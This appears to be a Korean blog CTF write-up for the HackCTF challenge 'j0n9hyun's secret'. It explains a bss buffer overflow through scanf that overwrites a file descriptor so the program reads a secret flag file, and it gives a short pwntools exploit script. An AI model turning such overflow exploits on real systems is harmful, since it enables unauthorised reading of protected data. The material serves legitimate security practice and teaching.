Profile

youngsouk

youngsouk

[hackctf] - j0n9hyun's secret

이 문제파일은 strip되어 함수 심볼같은 것들이 다 날라가 있다. 그래서 실행했을 때의 모습과 문자열을 통해 함수들을 복구해내어야 한다. 그런데 ida의 디컴파일 기능으로도 제대로 복구가 안되기 때문에 어셈블리어도 함께 보아야한다.

이렇게 어셈블리어로 보면 보다 정확하게 어떤 함수가 어떤 인자로 호출되는지 알 수 있다. 

1. fp = fopen("top_secret", "r");  파일을 열고 그 파일 디스크립터를 bss에 있는 변수에 저장해둔다.

2. scanf("%s", &scanf_buffer); 를 실행하는데 저 scanf_buffer는 bss의 주소에 있다. 즉 우리는 bss에서 bof를 일으킬 수 있는 것이다.

3. read(fp, buffer, 0x12c); fp를 이용해 입력을 받는다는 것을 알 수 있다.

4. write(1, buffer, 3번에서 읽은 갯수) 3번에서 입력을 받은 결과를 출력해준다는 것을 알 수 있다. 

 

여기서 오해할 수 있는 것이 fopen()에서 반환 되는 값은 파일 구조를 malloc을 통해 저장하는 데 그 할당받은 메모리 주소를 반환해주게 된다. 즉 read의 인자인 파일 디스크립터랑은 다른 것이다. 일반적으로 파일 디스크립터는 0은 stdin 1은 stdout 2는 stderr로 설정되어 있고 나중에 fopen을 통해 오픈을 했을때에는 3번부터 차례대로 설정해주게 된다. 즉 우리는 2번에서 일어나는 bof를 통해 fd를 3으로만 수정 할 수 있으면 우리는 top_secret의 내용을 읽을 수 있는 것이다.

0x6cce98 - 0x6ccd60 = 0x138 즉 아무 문자 0x138개를 입력을 하면 fd를 침범해서 쓸 수 있고, 이것을 3으로만 바꾸어 주면 top_secret을 읽을 수 있다.

from pwn import *

#p = remote('ctf.j0n9hyun.xyz', 3031)
p = process('./j0n9hyun_secret')

context.log_level="debug"

payload = 'a' * 0x138 + p64(3)
#payload += 'a' * (312 - len(payload))


p.sendlineafter('input name: ', payload)

p.interactive()

따라서  이런 식으로 짜고 실행을 시키게 되면 top_secret을 읽을 수 있다.

그런데 실행시키면 바로 플래그를 얻을 수 있다. (grin)

'CTF write-up > hackctf' 카테고리의 다른 글

Unexploitable_3  (0) 2020.01.11
[hackctf] childheap  (3) 2019.11.29
[hackctf] childfsb  (0) 2019.08.26
[hackctf] babyheap  (0) 2019.08.25
[hackctf] babyfsb  (0) 2019.08.25